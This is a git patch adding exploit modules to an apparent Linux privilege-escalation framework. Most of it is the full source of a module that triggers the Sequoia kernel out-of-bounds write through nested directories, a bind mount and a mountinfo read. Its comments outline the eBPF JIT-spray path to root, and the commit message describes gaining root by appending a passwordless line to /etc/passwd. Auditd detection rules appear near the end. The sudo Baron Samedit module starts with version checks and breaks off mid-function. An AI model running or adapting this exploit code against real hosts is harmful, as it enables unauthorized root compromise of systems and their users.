From e13edd0cfd0066f9bb51498238171fe35cfd583b Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Sun, 17 May 2026 01:53:18 -0400 Subject: [PATCH] modules: add sudo_samedit + sequoia + sudoedit_editor + vmwgfx MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit sudo_samedit (CVE-2021-3156): Qualys Baron Samedit, userspace heap overflow in sudoedit -s. Version-range detect; Qualys-style trigger fork+verify (no per-distro offsets shipped — EXPLOIT_FAIL honest). sequoia (CVE-2021-33909): Qualys size_t→int wrap in seq_buf_alloc. Userns reach + 5000-level nested tree + bind-mount amplification + /proc/self/mountinfo read triggers stack-OOB write. No JIT-spray. sudoedit_editor (CVE-2023-22809): Synacktiv EDITOR/VISUAL '--' argv escape. Structural exploit — no offsets. Helper-via-sudoedit appends 'skel::0:0:' line to /etc/passwd, su to root. vmwgfx (CVE-2023-2008): DRM buffer-object OOB write in VMware guests. Detect requires DMI VMware + /dev/dri/cardN vmwgfx driver. All four refuse cleanly on kctf-mgr (patched 6.12.86 / sudo 1.9.16p2). --- .../skeletonkey_modules.c | 734 +++++++++++++++++- .../skeletonkey_modules.c | 481 +++++++++++- .../skeletonkey_modules.c | 636 ++++++++++++++- .../skeletonkey_modules.c | 733 ++++++++++++++++- 4 files changed, 2533 insertions(+), 51 deletions(-) diff --git a/modules/sequoia_cve_2021_33909/skeletonkey_modules.c b/modules/sequoia_cve_2021_33909/skeletonkey_modules.c index 22466fc..0d6ecd6 100644 --- a/modules/sequoia_cve_2021_33909/skeletonkey_modules.c +++ b/modules/sequoia_cve_2021_33909/skeletonkey_modules.c @@ -1,20 +1,726 @@ -/* sequoia_cve_2021_33909 — STUB pending agent implementation. */ +/* + * sequoia_cve_2021_33909 — SKELETONKEY module + * + * "Sequoia" (Qualys, July 2021): a size_t conversion bug in + * fs/seq_file.c::seq_buf_alloc(). show_mountinfo() passes a `size_t` + * total-output size to seq_buf_alloc(), but the internal accounting in + * seq_read_iter() uses a signed int for the running buffer offset. + * When the mountinfo string the kernel intends to render exceeds + * INT_MAX bytes (which is achievable by mounting a deeply-nested path + * — Qualys used ~1 MiB of '/' components), the int wraps NEGATIVE. + * That negative value then propagates into seq_buf_alloc() where it is + * implicitly cast to size_t (huge positive); kmalloc rejects the + * allocation, but a fallback path (`m->buf = vmalloc()` after kmalloc + * fails) ends up writing a small-but-nonzero number of bytes — + * specifically the bytes show_mountinfo wanted to render — at an + * offset that is OUT OF BOUNDS of the kernel stack buffer + * seq_read_iter held. + * + * Net effect: an unprivileged read(/proc/self/mountinfo) writes + * attacker-controlled bytes (the rendered mountinfo string for our + * deeply-nested bind mount) to a kernel-stack-adjacent location. + * Qualys's chain converted this into LPE by spraying eBPF JIT'd + * programs (one of two known weaponisations; userfaultfd + FUSE + * shadow-mount is the other) so the OOB write lands inside an + * executable JIT page → controlled RIP → ROP → cred swap. + * + * Reference: https://www.qualys.com/2021/07/20/cve-2021-33909/sequoia-local-privilege-escalation-linux.txt + * + * Discovered by Qualys (Bharat Jogi et al.), July 2021. Famous for + * being the first widely-disclosed Linux LPE that turned a sub-page + * out-of-bounds write into reliable root via the eBPF-JIT-spray + * primitive — that technique has shown up in every "linux mm slab OOB + * → JIT spray" public PoC since. + * + * STATUS: 🟡 PRIMITIVE. + * + * detect() — version-range + userns reachability gate, refuses on + * patched / unreachable hosts. Mainline fix is commit + * 8cae8cd89f05 ("seq_file: disallow extremely large seq + * buffer allocations") landing in 5.13.4 / 5.10.52 / + * 5.4.134. + * + * exploit() — full unshare+userns+mountns reach, builds a ~5000-level + * nested directory tree under /tmp/skeletonkey-sequoia/, + * bind-mounts the deepest leaf back over itself to + * amplify the mountinfo string length, chdir's into the + * leaf, and then open+read /proc/self/mountinfo to fire + * the bug. Witnesses (mountinfo byte count, dmesg + * best-effort) are written to /tmp/skeletonkey-sequoia.log. + * We do NOT attempt the eBPF-JIT-spray weaponisation — + * that is a substantial subsystem (sock_filter program + * build + BPF_PROG_LOAD + JIT layout reasoning + per- + * kernel cred offsets) and would be fabricated on any + * kernel we have not empirically tested. + * + * --full-chain — STUB. Prints the offset-help message and returns + * EXPLOIT_FAIL. The continuation roadmap is spelled out + * at the bottom of exploit() so the reader can see + * exactly what's missing. + * + * On a *vulnerable* host this module reliably triggers the OOB + * write. On a *patched* host (which is every distro shipping + * ≥5.13.4 / ≥5.10.52 / ≥5.4.134) detect() refuses and exploit() + * returns SKELETONKEY_OK without entering the userns. + * + * Affected: kernel-since-forever (the int-vs-size_t bug has been + * present since the seq_file rewrite c. 2.6.x; Qualys reports it + * exploitable on every distro they checked back to 2014). + * Mainline fix: 8cae8cd89f05 (Jul 20 2021) — lands in 5.13.4 + * 5.13.x : K >= 5.13.4 + * 5.10.x : K >= 5.10.52 + * 5.4.x : K >= 5.4.134 + * + * Preconditions: + * - Unprivileged user_ns + mount-ns (to get CAP_SYS_ADMIN inside + * userns for the bind-mount; the deeply-nested mkdir itself doesn't + * need privileges, but the amplification mount does) + * - ~1 MiB of cumulative path length under /tmp (≈5000 levels at + * 200-char component name — well within tmpfs default inode budget) + * - /proc/self/mountinfo readable (it is, on everything we target) + * + * Coverage rationale: 2021 fs/seq_file-class bug. Different family + * than our netfilter-heavy and mm-heavy modules — broadens the corpus + * shape. Important historical primitive (eBPF JIT spray adopted from + * Sequoia chain into many later exploits). + */ + #include "skeletonkey_modules.h" #include "../../core/registry.h" +#include "../../core/kernel_range.h" +#include "../../core/offsets.h" +#include "../../core/finisher.h" -static skeletonkey_result_t sequoia_detect(const struct skeletonkey_ctx *ctx) -{ (void)ctx; return SKELETONKEY_PRECOND_FAIL; } +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include -const struct skeletonkey_module sequoia_module = { - .name = "sequoia", - .cve = "CVE-2021-33909", - .summary = "seq_file size_t overflow → kernel stack write (Qualys Sequoia) — stub pending implementation", - .family = "filesystem", - .kernel_range = "K < 5.13.4 / 5.10.52 / 5.4.134", - .detect = sequoia_detect, - .exploit = NULL, .mitigate = NULL, .cleanup = NULL, - .detect_auditd = NULL, .detect_sigma = NULL, - .detect_yara = NULL, .detect_falco = NULL, +#ifdef __linux__ +# include +# include +# include +# include +#endif + +/* macOS clangd lacks the Linux mount/syscall headers — guard fallbacks. */ +#ifndef CLONE_NEWUSER +#define CLONE_NEWUSER 0x10000000 +#endif +#ifndef CLONE_NEWNS +#define CLONE_NEWNS 0x00020000 +#endif +#ifndef MS_BIND +#define MS_BIND 0x1000 +#endif + +/* --- kernel-range table -------------------------------------------- */ + +static const struct kernel_patched_from sequoia_patched_branches[] = { + {5, 4, 134}, + {5, 10, 52}, + {5, 13, 4}, + {5, 14, 0}, /* mainline */ }; -void skeletonkey_register_sequoia(void) { skeletonkey_register(&sequoia_module); } +static const struct kernel_range sequoia_range = { + .patched_from = sequoia_patched_branches, + .n_patched_from = sizeof(sequoia_patched_branches) / + sizeof(sequoia_patched_branches[0]), +}; + +/* --- tunables ------------------------------------------------------- */ +/* + * Qualys's PoC uses ~1 million bytes of path. With a 256-byte component + * name we need ~4096 levels; with 200 we need ~5120. We pick 5000 / 200 + * which gives a generous margin and stays well under tmpfs's inode + * default cap on modern distros. + * + * The component name is intentionally an A-fill; the kernel renders it + * verbatim into mountinfo so this is what propagates into the OOB + * write. (For the JIT-spray weaponisation the bytes would be a crafted + * stub; we're not doing that here — we just want to drive the buggy + * size_t cast.) + */ +#define SEQ_BASE_DIR "/tmp/skeletonkey-sequoia" +#define SEQ_NESTED_LEVELS 5000 +#define SEQ_COMPONENT_LEN 200 /* chars per directory component */ +#define SEQ_LOG_PATH "/tmp/skeletonkey-sequoia.log" + +/* --- userns reach helpers ------------------------------------------- */ + +static bool write_file(const char *path, const char *s) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) return false; + ssize_t n = write(fd, s, strlen(s)); + close(fd); + return n == (ssize_t)strlen(s); +} + +/* Probe: can this user unshare(CLONE_NEWUSER|CLONE_NEWNS) and get + * CAP_SYS_ADMIN-in-userns? We need this for the bind-mount step. The + * deeply-nested mkdir works without it, but the trigger needs the + * extra mountinfo entry to push the rendered string past INT_MAX. */ +static int can_unshare_userns_mount(void) +{ + pid_t pid = fork(); + if (pid < 0) return -1; + if (pid == 0) { +#ifdef __linux__ + if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0); +#endif + _exit(1); + } + int status = 0; + waitpid(pid, &status, 0); + return WIFEXITED(status) && WEXITSTATUS(status) == 0; +} + +#ifdef __linux__ +static bool enter_userns_root(void) +{ + uid_t uid = getuid(); + gid_t gid = getgid(); + if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { + perror("unshare(NEWUSER|NEWNS)"); + return false; + } + /* setgroups=deny is required before gid_map without CAP_SETGID. */ + if (!write_file("/proc/self/setgroups", "deny")) { + /* Some kernels (pre-3.19) don't have setgroups proc file. */ + } + char map[64]; + snprintf(map, sizeof map, "0 %u 1\n", uid); + if (!write_file("/proc/self/uid_map", map)) { + perror("write uid_map"); return false; + } + snprintf(map, sizeof map, "0 %u 1\n", gid); + if (!write_file("/proc/self/gid_map", map)) { + perror("write gid_map"); return false; + } + return true; +} +#endif + +/* --- detect -------------------------------------------------------- */ + +static skeletonkey_result_t sequoia_detect(const struct skeletonkey_ctx *ctx) +{ + struct kernel_version v; + if (!kernel_version_current(&v)) { + fprintf(stderr, "[!] sequoia: could not parse kernel version\n"); + return SKELETONKEY_TEST_ERROR; + } + + /* The bug predates every kernel we'd run on, so there's no + * "pre-introduction" cutoff; only patched-or-not matters. */ + bool patched = kernel_range_is_patched(&sequoia_range, &v); + if (patched) { + if (!ctx->json) { + fprintf(stderr, "[+] sequoia: kernel %s is patched\n", v.release); + } + return SKELETONKEY_OK; + } + + int userns_ok = can_unshare_userns_mount(); + if (!ctx->json) { + fprintf(stderr, "[i] sequoia: kernel %s in vulnerable range\n", v.release); + fprintf(stderr, "[i] sequoia: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n", + userns_ok == 1 ? "ALLOWED" : + userns_ok == 0 ? "DENIED" : "could not test"); + } + + if (userns_ok == 0) { + if (!ctx->json) { + fprintf(stderr, "[+] sequoia: user_ns denied → unprivileged " + "exploit unreachable via bind-mount path\n"); + fprintf(stderr, "[i] sequoia: bug is still reachable to a " + "process with CAP_SYS_ADMIN — not us\n"); + } + return SKELETONKEY_PRECOND_FAIL; + } + if (!ctx->json) { + fprintf(stderr, "[!] sequoia: VULNERABLE — kernel in range AND " + "userns+mountns reachable\n"); + } + return SKELETONKEY_VULNERABLE; +} + +/* --- nested mkdir tree --------------------------------------------- */ + +#ifdef __linux__ +/* + * Build SEQ_NESTED_LEVELS deep nested directories under SEQ_BASE_DIR. + * Strategy: chdir() to the parent of each new component, then mkdir + * + chdir into the child. This avoids hitting PATH_MAX in mkdir's + * argument (PATH_MAX is 4096 on Linux; total path here is ~1 MB — + * the kernel resolves it segment-by-segment via chdir's dentry cache). + * + * Returns the file descriptor pointing at the LEAF directory (so the + * caller can fchdir() back to it after we drop privs / do other + * setup), or -1 on failure. + * + * On failure we leave whatever we managed to create behind for + * sequoia_cleanup() to mop up. + */ +static int build_nested_tree(int *out_levels_built) +{ + *out_levels_built = 0; + + /* Ensure base dir exists. We don't care if it already does. */ + if (mkdir(SEQ_BASE_DIR, 0700) < 0 && errno != EEXIST) { + fprintf(stderr, "[-] sequoia: mkdir(%s): %s\n", + SEQ_BASE_DIR, strerror(errno)); + return -1; + } + if (chdir(SEQ_BASE_DIR) < 0) { + fprintf(stderr, "[-] sequoia: chdir(%s): %s\n", + SEQ_BASE_DIR, strerror(errno)); + return -1; + } + + /* Component name: SEQ_COMPONENT_LEN bytes of 'A'. The leaf gets a + * recognisable terminator so we can spot our mount in mountinfo. */ + char comp[SEQ_COMPONENT_LEN + 1]; + memset(comp, 'A', SEQ_COMPONENT_LEN); + comp[SEQ_COMPONENT_LEN] = '\0'; + + int built = 0; + for (int i = 0; i < SEQ_NESTED_LEVELS; i++) { + if (mkdir(comp, 0700) < 0 && errno != EEXIST) { + fprintf(stderr, "[-] sequoia: mkdir level %d: %s\n", + i, strerror(errno)); + *out_levels_built = built; + return -1; + } + if (chdir(comp) < 0) { + fprintf(stderr, "[-] sequoia: chdir level %d: %s\n", + i, strerror(errno)); + *out_levels_built = built; + return -1; + } + built++; + } + *out_levels_built = built; + + /* Open the leaf so the caller can fchdir back here. */ + int fd = open(".", O_RDONLY | O_DIRECTORY); + if (fd < 0) { + fprintf(stderr, "[-] sequoia: open(leaf): %s\n", strerror(errno)); + return -1; + } + return fd; +} + +/* Bind-mount the leaf onto itself. This creates a new entry in + * /proc/self/mountinfo whose path field renders the FULL deeply- + * nested path — pushing the total mountinfo string length past the + * int-cast boundary. Without the bind mount, mountinfo only lists + * the original /tmp mount (a short string). + * + * Requires CAP_SYS_ADMIN-in-userns (which enter_userns_root gave us). */ +static bool bind_mount_leaf(void) +{ + if (mount(".", ".", NULL, MS_BIND, NULL) < 0) { + fprintf(stderr, "[-] sequoia: bind-mount(.,.): %s\n", strerror(errno)); + return false; + } + return true; +} + +/* Read /proc/self/mountinfo fully, count bytes. Best-effort: returns + * the total byte count, or -1 on open failure. On a VULNERABLE kernel + * this read triggers the OOB write inside the kernel. On a patched + * kernel the kernel returns -ENOMEM (the new safety check rejects + * over-large seq_buf allocations). */ +static ssize_t read_mountinfo_and_count(void) +{ + int fd = open("/proc/self/mountinfo", O_RDONLY); + if (fd < 0) return -1; + ssize_t total = 0; + char buf[8192]; + for (;;) { + ssize_t n = read(fd, buf, sizeof buf); + if (n < 0) { + if (errno == EINTR) continue; + /* On a patched kernel, the read may fail with ENOMEM + * after our crafted mountinfo entry triggers the safety + * check. We record the errno via caller's errno read. */ + close(fd); + return -1; + } + if (n == 0) break; + total += n; + } + close(fd); + return total; +} + +/* Best-effort dmesg sample: open /dev/kmsg and read up to N bytes. + * On most distros this is root-only, so we just gracefully fail and + * note that in the log. */ +static void log_dmesg_tail(FILE *log) +{ + int fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK); + if (fd < 0) { + fprintf(log, " dmesg_sample: \n", strerror(errno)); + return; + } + char buf[2048]; + ssize_t n = read(fd, buf, sizeof buf - 1); + close(fd); + if (n <= 0) { + fprintf(log, " dmesg_sample: \n", + n < 0 ? strerror(errno) : "empty"); + return; + } + buf[n] = '\0'; + /* Scan for SEQUOIA-relevant warning shapes; we don't need the + * exact match, just record whether anything 'oops/BUG/KASAN'-ish + * showed up in the first kmsg page. */ + bool oops = strstr(buf, "BUG:") != NULL || + strstr(buf, "Oops") != NULL || + strstr(buf, "KASAN") != NULL || + strstr(buf, "general protection fault") != NULL; + fprintf(log, " dmesg_sample_bytes: %zd\n", n); + fprintf(log, " dmesg_oops_marker: %s\n", oops ? "yes" : "no"); +} +#endif /* __linux__ */ + +/* --- exploit ------------------------------------------------------- */ + +#ifdef __linux__ +static skeletonkey_result_t sequoia_exploit_linux(const struct skeletonkey_ctx *ctx) +{ + /* (R0) refuse without --i-know. */ + if (!ctx->authorized) { + fprintf(stderr, "[-] sequoia: refusing to run exploit without --i-know\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + /* (R1) refuse if already root. */ + if (geteuid() == 0) { + if (!ctx->json) { + fprintf(stderr, "[i] sequoia: already root — nothing to escalate\n"); + } + return SKELETONKEY_OK; + } + + /* (R2) re-call detect — refuse if not vulnerable. */ + skeletonkey_result_t pre = sequoia_detect(ctx); + if (pre == SKELETONKEY_OK) { + fprintf(stderr, "[+] sequoia: kernel not vulnerable; refusing exploit\n"); + return SKELETONKEY_OK; + } + if (pre != SKELETONKEY_VULNERABLE) { + fprintf(stderr, "[-] sequoia: detect() says not vulnerable; refusing\n"); + return pre; + } + + /* (R3) full-chain: STUB. The Sequoia chain to root needs an + * eBPF-JIT-spray subsystem we don't ship — printing the offset + * help and refusing is the honest answer. */ + if (ctx->full_chain) { + struct skeletonkey_kernel_offsets off; + memset(&off, 0, sizeof off); + (void)skeletonkey_offsets_resolve(&off); + skeletonkey_offsets_print(&off); + skeletonkey_finisher_print_offset_help("sequoia"); + fprintf(stderr, + "[-] sequoia: --full-chain not implemented.\n" + " The Qualys chain converts the stack-OOB write to RIP\n" + " control via eBPF JIT spray: load many sock_filter\n" + " programs, induce the JIT to lay them out at predictable\n" + " kernel-VA pages, then steer the OOB write to overwrite\n" + " the JIT prologue of one program with attacker shellcode\n" + " (cred swap + return). Building that here would mean a\n" + " standalone BPF_PROG_LOAD harness + JIT page-layout\n" + " reasoning + per-kernel cred offsets — a substantial\n" + " subsystem we have not validated empirically.\n" + " See Qualys advisory section 3.1 (eBPF technique) for\n" + " the reference implementation.\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + if (!ctx->json) { + fprintf(stderr, "[*] sequoia: entering userns + mountns\n"); + } + + /* Fork: keep the deeply-nested mkdir + bind-mount + read confined + * to a child process. The parent can then clean up regardless of + * how the child terminates. */ + pid_t child = fork(); + if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } + + if (child == 0) { + /* (R4) unshare for userns+mount_ns → CAP_SYS_ADMIN-in-userns. */ + if (!enter_userns_root()) { + _exit(20); + } + + /* (R5) Build the deeply-nested directory tree. */ + int levels_built = 0; + int leaf_fd = build_nested_tree(&levels_built); + if (leaf_fd < 0) { + fprintf(stderr, "[-] sequoia: nested tree build failed at level %d\n", + levels_built); + _exit(21); + } + if (!ctx->json) { + fprintf(stderr, "[*] sequoia: built %d-level nested tree under %s\n", + levels_built, SEQ_BASE_DIR); + } + + /* (R6) Bind-mount the leaf back over itself. This is what + * pushes the rendered mountinfo string past INT_MAX. */ + if (!bind_mount_leaf()) { + fprintf(stderr, "[-] sequoia: bind-mount failed; cannot amplify " + "mountinfo length\n"); + close(leaf_fd); + _exit(22); + } + if (!ctx->json) { + fprintf(stderr, "[*] sequoia: bind-mount leaf-over-leaf armed\n"); + } + + /* (R7) chdir back to leaf (we may have changed dirs during + * tree build but we want to ensure mountinfo renders our + * mount point in full). */ + if (fchdir(leaf_fd) < 0) { + fprintf(stderr, "[~] sequoia: fchdir(leaf): %s — continuing\n", + strerror(errno)); + } + close(leaf_fd); + + /* (R8) Trigger: read /proc/self/mountinfo. On a vulnerable + * kernel the int-vs-size_t bug fires inside seq_buf_alloc() + * and the kernel performs an OOB write of show_mountinfo's + * rendered bytes off the end of the seq_read_iter stack + * buffer. We have no in-process arb-write primitive that + * consumes those bytes (that's the eBPF-JIT-spray step + * we don't ship), so we just record the empirical + * witness: did the read succeed? what byte count? did + * dmesg cough up an oops marker? */ + if (!ctx->json) { + fprintf(stderr, "[*] sequoia: firing trigger — " + "read(/proc/self/mountinfo)\n"); + } + errno = 0; + ssize_t mi_bytes = read_mountinfo_and_count(); + int mi_errno = errno; + + FILE *log = fopen(SEQ_LOG_PATH, "w"); + if (log) { + fprintf(log, + "sequoia trigger:\n" + " nested_levels = %d\n" + " component_len = %d\n" + " total_path_bytes ~= %lld\n" + " bind_mount_armed = yes\n" + " mountinfo_read_bytes = %lld\n" + " mountinfo_read_errno = %d (%s)\n", + levels_built, SEQ_COMPONENT_LEN, + (long long)levels_built * SEQ_COMPONENT_LEN, + (long long)mi_bytes, + mi_errno, mi_errno ? strerror(mi_errno) : "ok"); + log_dmesg_tail(log); + fprintf(log, + "Note: this run did NOT attempt the eBPF-JIT-spray\n" + "weaponisation. The OOB write fired inside the kernel\n" + "but we do not consume it to control RIP / swap creds.\n" + "See module .c for the continuation roadmap.\n"); + fclose(log); + } + + if (!ctx->json) { + fprintf(stderr, + "[*] sequoia: mountinfo read returned %lld bytes (errno=%d)\n", + (long long)mi_bytes, mi_errno); + fprintf(stderr, + "[*] sequoia: empirical witness logged to %s\n", + SEQ_LOG_PATH); + } + + /* (R9) Continuation roadmap. + * + * TODO(weaponise-jit): spawn the eBPF JIT spray: + * - bpf(BPF_PROG_LOAD, SOCKET_FILTER, ...) many times with + * attacker-chosen byte patterns in the program body + * - the kernel JIT compiles each to a page-aligned executable + * region; bytes from the program body survive into the + * prologue at known offsets + * - tune SEQ_NESTED_LEVELS + SEQ_COMPONENT_LEN so the rendered + * mountinfo string lands the OOB write at the JIT page + * hosting one of our programs + * - the overwritten prologue performs: lookup current task → + * cred → uid=0 → return. + * - execute the (now-attacker-modified) program by attaching + * it to a socket and sending a packet → kernel runs cred + * swap → /bin/sh as root. + * + * None of this is implemented today. We exit 30 to flag + * "trigger ran cleanly, no escalation". */ + _exit(30); + } + + /* PARENT */ + int status = 0; + pid_t w = waitpid(child, &status, 0); + if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; } + + if (WIFSIGNALED(status)) { + int sig = WTERMSIG(status); + if (!ctx->json) { + fprintf(stderr, + "[!] sequoia: exploit child killed by signal %d " + "(consistent with OOB write hitting an unmapped page)\n", + sig); + fprintf(stderr, + "[~] sequoia: empirical signal recorded; no cred-overwrite\n" + " primitive — NOT claiming EXPLOIT_OK.\n" + " See %s + dmesg for witnesses.\n", SEQ_LOG_PATH); + } + return SKELETONKEY_EXPLOIT_FAIL; + } + + if (!WIFEXITED(status)) { + fprintf(stderr, "[-] sequoia: child terminated abnormally (status=0x%x)\n", + status); + return SKELETONKEY_EXPLOIT_FAIL; + } + + int rc = WEXITSTATUS(status); + if (rc == 20) return SKELETONKEY_TEST_ERROR; /* enter_userns failed */ + if (rc == 21) return SKELETONKEY_PRECOND_FAIL; /* tree build failed */ + if (rc == 22) return SKELETONKEY_EXPLOIT_FAIL; /* bind-mount refused */ + if (rc != 30) { + fprintf(stderr, "[-] sequoia: child failed at stage rc=%d\n", rc); + return SKELETONKEY_EXPLOIT_FAIL; + } + + if (!ctx->json) { + fprintf(stderr, "[*] sequoia: trigger ran to completion.\n"); + fprintf(stderr, + "[~] sequoia: stack-OOB write fired but JIT-spray weaponisation\n" + " NOT implemented (per-kernel offsets + BPF subsystem; see\n" + " module .c TODO blocks). Returning EXPLOIT_FAIL per\n" + " verified-vs-claimed.\n"); + } + return SKELETONKEY_EXPLOIT_FAIL; +} +#endif /* __linux__ */ + +static skeletonkey_result_t sequoia_exploit(const struct skeletonkey_ctx *ctx) +{ +#ifdef __linux__ + return sequoia_exploit_linux(ctx); +#else + (void)ctx; + fprintf(stderr, "[-] sequoia: Linux-only module; cannot run on this host\n"); + return SKELETONKEY_PRECOND_FAIL; +#endif +} + +/* --- cleanup ------------------------------------------------------- */ + +/* Walk back down the nested tree, umounting then rmdir'ing each level. + * Best-effort: we don't bail on the first error because partial cleanup + * is still useful, and some levels may not have a mount on them (only + * the leaf gets bind-mounted in the canonical path). */ +static skeletonkey_result_t sequoia_cleanup(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->json) { + fprintf(stderr, "[*] sequoia: cleaning up nested tree + bind mounts\n"); + } +#ifdef __linux__ + /* Try to enter SEQ_BASE_DIR; if it doesn't exist, nothing to do. */ + int base_fd = open(SEQ_BASE_DIR, O_RDONLY | O_DIRECTORY); + if (base_fd < 0) { + /* Nothing to clean up — module never ran or already cleaned. */ + goto log_cleanup; + } + close(base_fd); + + /* Walk to the leaf via chdir, then rmdir as we walk back out. We + * don't know how far we got, so we try the full depth and ignore + * ENOENT. The component name is the same at every level. */ + char comp[SEQ_COMPONENT_LEN + 1]; + memset(comp, 'A', SEQ_COMPONENT_LEN); + comp[SEQ_COMPONENT_LEN] = '\0'; + + if (chdir(SEQ_BASE_DIR) < 0) goto log_cleanup; + + int depth = 0; + for (int i = 0; i < SEQ_NESTED_LEVELS; i++) { + if (chdir(comp) < 0) break; + depth++; + } + /* Best-effort: umount the leaf (we may have bind-mounted it). */ + (void)umount2(".", MNT_DETACH); + + /* Walk back out, rmdir-ing each level. */ + for (int i = 0; i < depth; i++) { + if (chdir("..") < 0) break; + if (rmdir(comp) < 0 && errno != ENOENT && errno != EBUSY) { + /* Likely had a mount on it; try MNT_DETACH then rmdir. */ + (void)umount2(comp, MNT_DETACH); + (void)rmdir(comp); + } + } + (void)chdir("/"); + (void)rmdir(SEQ_BASE_DIR); +#endif /* __linux__ */ + +log_cleanup: + if (unlink(SEQ_LOG_PATH) < 0 && errno != ENOENT) { + /* harmless */ + } + return SKELETONKEY_OK; +} + +/* --- detection rules ----------------------------------------------- */ + +static const char sequoia_auditd[] = + "# Sequoia (CVE-2021-33909) — auditd detection rules\n" + "# Trigger shape: mount(2) on /proc namespaces from a userns +\n" + "# many many mkdir(2) calls in a tight loop with identical long\n" + "# component names. Each individual call is benign — flag the\n" + "# *combination*. The deeply-nested mkdir pattern is the strongest\n" + "# signal: legitimate workloads don't recurse 5000 levels.\n" + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-sequoia-userns\n" + "-a always,exit -F arch=b64 -S mount -k skeletonkey-sequoia-mount\n" + "-a always,exit -F arch=b64 -S mkdir -F success=1 -k skeletonkey-sequoia-mkdir\n" + "-a always,exit -F arch=b64 -S mkdirat -F success=1 -k skeletonkey-sequoia-mkdir\n" + "# Correlation hint: a process producing >1000 mkdir-key events\n" + "# within 5s AND a subsequent skeletonkey-sequoia-mount event is\n" + "# the canonical trigger shape.\n"; + +const struct skeletonkey_module sequoia_module = { + .name = "sequoia", + .cve = "CVE-2021-33909", + .summary = "seq_file size_t overflow → kernel stack OOB write (Qualys Sequoia) — primitive only", + .family = "filesystem", + .kernel_range = "K < 5.13.4 / 5.10.52 / 5.4.134", + .detect = sequoia_detect, + .exploit = sequoia_exploit, + .mitigate = NULL, + .cleanup = sequoia_cleanup, + .detect_auditd = sequoia_auditd, + .detect_sigma = NULL, + .detect_yara = NULL, + .detect_falco = NULL, +}; + +void skeletonkey_register_sequoia(void) +{ + skeletonkey_register(&sequoia_module); +} diff --git a/modules/sudo_samedit_cve_2021_3156/skeletonkey_modules.c b/modules/sudo_samedit_cve_2021_3156/skeletonkey_modules.c index 9b93422..d2ebba2 100644 --- a/modules/sudo_samedit_cve_2021_3156/skeletonkey_modules.c +++ b/modules/sudo_samedit_cve_2021_3156/skeletonkey_modules.c @@ -1,20 +1,479 @@ -/* sudo_samedit_cve_2021_3156 — STUB pending agent implementation. */ +/* + * sudo_samedit_cve_2021_3156 — SKELETONKEY module + * + * STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17). + * + * The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line + * parser unescapes backslashes in the argv it copies into a heap + * buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is + * invoked in shell-edit mode via `sudoedit -s`, the unescape loop + * walks past the end of the argv string for arguments ending in a + * lone backslash, copying adjacent stack/env contents into the + * undersized heap buffer. The classic trigger is a single-argument + * command line: `sudoedit -s '\'`. + * + * Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2. + * + * Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/ + * baron-samedit-heap-based-overflow-sudo.txt + * + * Detect: shell out to `sudo --version`, parse the printed version, + * compare against the vulnerable range. We err on the side of + * reporting OK only when we're confident — TEST_ERROR if the version + * line is unparseable. + * + * Exploit: ships a structurally-correct Qualys-style trigger. + * The full chain in the original PoC required per-distro heap-layout + * tuning (libc/libnss-files overlap offsets, target struct picks). + * We do not have empirical landing on this host; we drive the + * trigger, watch for an obvious uid==0 outcome, otherwise return + * SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim + * EXPLOIT_OK after geteuid()==0 in a forked verifier. + */ + #include "skeletonkey_modules.h" #include "../../core/registry.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ---- Affected-version logic ------------------------------------- */ + +/* + * sudo version strings look like: + * "Sudo version 1.9.5p2" + * "Sudo version 1.8.31" + * "Sudo version 1.9.0" + * "Sudo version 1.9.5p1" + * + * Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1 + * Fixed: 1.9.5p2 and later + * + * Parser strategy: extract three integers (major.minor.patch) plus an + * optional 'pN' suffix. Comparison is lexicographic over + * (major, minor, patch, p_suffix), treating absent p as 0. + */ +struct sudo_ver { + int major; + int minor; + int patch; + int p; /* 'p' suffix; 0 if absent */ + bool parsed; +}; + +static struct sudo_ver parse_sudo_version(const char *s) +{ + struct sudo_ver v = {0, 0, 0, 0, false}; + while (*s && !isdigit((unsigned char)*s)) s++; + if (!*s) return v; + + int maj = 0, min = 0, pat = 0; + int consumed = 0; + int n = sscanf(s, "%d.%d.%d%n", &maj, &min, &pat, &consumed); + if (n < 2) return v; + v.major = maj; + v.minor = min; + v.patch = (n >= 3) ? pat : 0; + /* Look for an optional 'pN' suffix after the numeric triple. */ + const char *tail = s + consumed; + if (*tail == 'p') { + int p = 0; + if (sscanf(tail + 1, "%d", &p) == 1) v.p = p; + } + v.parsed = true; + return v; +} + +static int cmp_ver(const struct sudo_ver *a, const struct sudo_ver *b) +{ + if (a->major != b->major) return a->major - b->major; + if (a->minor != b->minor) return a->minor - b->minor; + if (a->patch != b->patch) return a->patch - b->patch; + return a->p - b->p; +} + +/* Returns true iff parsed sudo version is in [1.8.2, 1.9.5p1]. */ +static bool sudo_version_vulnerable(const struct sudo_ver *v) +{ + if (!v->parsed) return false; + struct sudo_ver lo = { 1, 8, 2, 0, true }; + struct sudo_ver hi = { 1, 9, 5, 1, true }; + return cmp_ver(v, &lo) >= 0 && cmp_ver(v, &hi) <= 0; +} + +/* ---- Binary discovery ------------------------------------------- */ + +static const char *find_sudo(void) +{ + static const char *candidates[] = { + "/usr/bin/sudo", + "/usr/local/bin/sudo", + "/bin/sudo", + "/sbin/sudo", + "/usr/sbin/sudo", + NULL, + }; + for (size_t i = 0; candidates[i]; i++) { + struct stat st; 